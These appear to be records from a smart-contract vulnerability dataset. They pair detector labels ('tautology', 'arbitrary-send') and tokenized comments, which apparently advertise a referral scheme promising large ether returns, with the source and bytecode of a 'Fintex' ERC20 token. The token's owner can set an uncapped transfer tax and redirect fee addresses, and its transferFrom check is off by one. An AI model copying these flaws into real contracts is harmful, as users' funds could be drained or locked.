2616c00000000000000000000000081525060200191505060405180910390fd5b61527d6157bc565b600060226000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360226000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015615517576001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506006602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106154a85760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060186000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600080905060008090506004851115615610576016549050615627565b602d60008681526020019081526020016000205490505b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505091508115615745573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360328510801561572457506001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410155b1561573b576157366001860184615579565b615744565b61574361575c565b5b5b81615755576157548584615579565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61579f613151565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fe557365204f6e6c79204944203120417320612047656e6572616c20526566657272616c204944a2646970667358221220f9040f7b14b9b7f9f00a0126dea9ab9124a422682041ed0b7264015fa09798d864736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23777, 2620, 2497, 2475, 2050, 2620, 2094, 2629, 21456, 2575, 22407, 2497, 2620, 2546, 2575, 16048, 3540, 2475, 2063, 2549, 2063, 2620, 2683, 2629, 3207, 7011, 2278, 2546, 16703, 1013, 1008, 1013, 1013, 2028, 8909, 2184, 1013, 1013, 7592, 1013, 1013, 1045, 2572, 2028, 2638, 2028, 8909, 3593, 2184, 1010, 1013, 1013, 3795, 2028, 8909, 8285, 16869, 6047, 3206, 1012, 1013, 1013, 7796, 2062, 2084, 11910, 8889, 3802, 2232, 2007, 2074, 1016, 3802, 2232, 1012, 1013, 1013, 2023, 2003, 1037, 6994, 2000, 9699, 13135, 3318, 1012, 1013, 1013, 12637, 1997, 2023, 6047, 3206, 1013, 1013, 2069, 3499, 8819, 2065, 1015, 6523, 7941, 8909, 2003, 1015, 1012, 1013, 1013, 2064, 2025, 2644, 1010, 4839, 5091, 1012, 1013, 1013, 3722, 8819, 1998, 12200, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,741
0x9743cb5f346daa80a3a50b0859efb85a49e4b8cc
/** *Submitted for verification at Etherscan.io on 2021-02-07 */ /** *Submitted for verification at Etherscan.io on 2021-02-07 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Fintex is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private constant NAME = "Fintex"; string private constant SYMBOL = "FTEX"; uint8 private constant DECIMALS = 18; mapping(address => uint256) private actual; mapping(address => mapping(address => uint256)) private allowances; mapping(address => bool) private excludedFromFees; uint256 private constant MAX = ~uint256(0); uint256 private constant ACTUAL_TOTAL = 10000 * 1e18; uint256 private rewardFeeTotal; uint256 private lotteryFeeTotal; uint256 public taxPercentage = 5; uint256 public rewardTaxAlloc = 70; uint256 public lotteryTaxAlloc = 30; uint256 public totalTaxAlloc = rewardTaxAlloc.add(lotteryTaxAlloc); address public rewardAddress; address public lotteryAddress; constructor(address _rewardAddress, address _lotteryAddress) { emit Transfer(address(0), _msgSender(), ACTUAL_TOTAL); actual[_msgSender()] = actual[_msgSender()].add(ACTUAL_TOTAL); rewardAddress = _rewardAddress; lotteryAddress = _lotteryAddress; excludeFromFees(rewardAddress); excludeFromFees(lotteryAddress); excludeFromFees(_msgSender()); } function name() external pure returns (string memory) { return NAME; } function symbol() external pure returns (string memory) { return SYMBOL; } function decimals() external pure returns (uint8) { return DECIMALS; } function totalSupply() external pure override returns (uint256) { return ACTUAL_TOTAL; } function balanceOf(address _account) public view override returns (uint256) { return actual[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom( address _sender, address _recipient, uint256 _amount ) public override returns (bool) { require(allowances[_sender][_msgSender()] > _amount, 'Not Allowed' ); allowances[_sender][_msgSender()] = allowances[_sender][_msgSender()].sub(_amount, "ERC20: decreased allowance below zero"); _transfer(_sender, _recipient, _amount); return true; } function isExcludedFromFees(address _account) external view returns (bool) { return excludedFromFees[_account]; } function totalRewardFees() external view returns (uint256) { return rewardFeeTotal; } function totalLotteryFees() external view returns (uint256) { return lotteryFeeTotal; } function excludeFromFees(address _account) public onlyOwner() { require(!excludedFromFees[_account], "Account is already excluded from fee"); excludedFromFees[_account] = true; } function includeInFees(address _account) public onlyOwner() { require(excludedFromFees[_account], "Account is already included in fee"); excludedFromFees[_account] = false; } function _approve( address _owner, address _spender, uint256 _amount ) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer( address _sender, address _recipient, uint256 _amount ) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); uint256 fee = 0; if (excludedFromFees[_sender] || excludedFromFees[_recipient]) { fee = 0; } else { fee = _getFee(_amount); uint256 rewardFee = _getrewardFee(fee); uint256 lotteryFee = _getLotteryFee(fee); _updateRewardFee(rewardFee); _updateLotteryFee(lotteryFee); } uint256 actualTransferAmount = _amount.sub(fee) ; actual[_recipient] = actual[_recipient].add(actualTransferAmount); actual[_sender] = actual[_sender].sub(_amount); emit Transfer(_sender, _recipient, actualTransferAmount); } function _updateRewardFee(uint256 _rewardFee) private { if (rewardAddress == address(0)) { return; } actual[rewardAddress] = actual[rewardAddress].add(_rewardFee); } function _updateLotteryFee(uint256 _lotteryFee) private { if (lotteryAddress == address(0)) { return; } actual[lotteryAddress] = actual[lotteryAddress].add(_lotteryFee); } function _getFee(uint256 _amount) private view returns (uint256) { return _amount.mul(taxPercentage).div(100); } function _getrewardFee(uint256 _tax) private view returns (uint256) { return _tax.mul(rewardTaxAlloc).div(totalTaxAlloc); } function _getLotteryFee(uint256 _tax) private view returns (uint256) { return _tax.mul(lotteryTaxAlloc).div(totalTaxAlloc); } function setTaxPercentage(uint256 _taxPercentage) external onlyOwner { taxPercentage = _taxPercentage; } function setlotteryTaxAlloc(uint256 alloc) external onlyOwner { lotteryTaxAlloc = alloc; } function setrewardTaxAlloc(uint256 alloc) external onlyOwner { rewardTaxAlloc = alloc; } function setRewardAddress(address _rewardAddress) external onlyOwner { rewardAddress = _rewardAddress; } function setLotetryAddress(address _lotteryAddress) external onlyOwner { lotteryAddress = _lotteryAddress; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063699abb3c116100f9578063ae7b6d1611610097578063dd62ed3e11610071578063dd62ed3e1461079e578063dda3924814610816578063e57f14e114610834578063f2fde38b14610878576101c4565b8063ae7b6d1614610734578063b44e9e5c14610752578063b7a9c71714610770576101c4565b80638cf57cb9116100d35780638cf57cb9146105e55780638da5cb5b1461061957806395d89b411461064d578063a9059cbb146106d0576101c4565b8063699abb3c1461055557806370a0823114610583578063715018a6146105db576101c4565b80633beedf6d11610166578063582e641411610140578063582e641414610481578063586ae7a41461049f5780635e00e679146104cd5780635e10686414610511576101c4565b80633beedf6d146103d557806340e7bdf4146104095780634fbee19314610427576101c4565b806318160ddd116101a257806318160ddd146102f457806323b872dd14610312578063313ce56714610396578063335883b6146103b7576101c4565b806306fdde03146101c9578063095ea7b31461024c57806316a2f82a146102b0575b600080fd5b6101d16108bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102986004803603604081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f9565b60405180821515815260200191505060405180910390f35b6102f2600480360360208110156102c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610917565b005b6102fc610adc565b6040518082815260200191505060405180910390f35b61037e6004803603606081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aee565b60405180821515815260200191505060405180910390f35b61039e610d35565b604051808260ff16815260200191505060405180910390f35b6103bf610d3e565b6040518082815260200191505060405180910390f35b6103dd610d44565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610411610d6a565b6040518082815260200191505060405180910390f35b6104696004803603602081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d70565b60405180821515815260200191505060405180910390f35b610489610dc6565b6040518082815260200191505060405180910390f35b6104cb600480360360208110156104b557600080fd5b8101908080359060200190929190505050610dcc565b005b61050f600480360360208110156104e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e9e565b005b6105536004803603602081101561052757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610faa565b005b6105816004803603602081101561056b57600080fd5b81019080803590602001909291905050506110b6565b005b6105c56004803603602081101561059957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611188565b6040518082815260200191505060405180910390f35b6105e36111d1565b005b6105ed611357565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062161137d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106556113a6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069557808201518184015260208101905061067a565b50505050905090810190601f1680156106c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61071c600480360360408110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e3565b60405180821515815260200191505060405180910390f35b61073c611401565b6040518082815260200191505060405180910390f35b61075a611407565b6040518082815260200191505060405180910390f35b61079c6004803603602081101561078657600080fd5b8101908080359060200190929190505050611411565b005b610800600480360360408110156107b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e3565b6040518082815260200191505060405180910390f35b61081e61156a565b6040518082815260200191505060405180910390f35b6108766004803603602081101561084a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611574565b005b6108ba6004803603602081101561088e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173a565b005b60606040518060400160405280600681526020017f46696e7465780000000000000000000000000000000000000000000000000000815250905090565b600061090d6109066119cd565b84846119d5565b6001905092915050565b61091f6119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125406022913960400191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069021e19e0c9bab2400000905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b3a6119cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610be8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f7420416c6c6f77656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b610c988260405180606001604052806025815260200161266160259139600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c4e6119cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcc9092919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ce16119cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2a848484611c86565b600190509392505050565b60006012905090565b60085481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60075481565b610dd46119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060088190555050565b610ea66119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610fb26119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110be6119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060068190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111d96119cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffff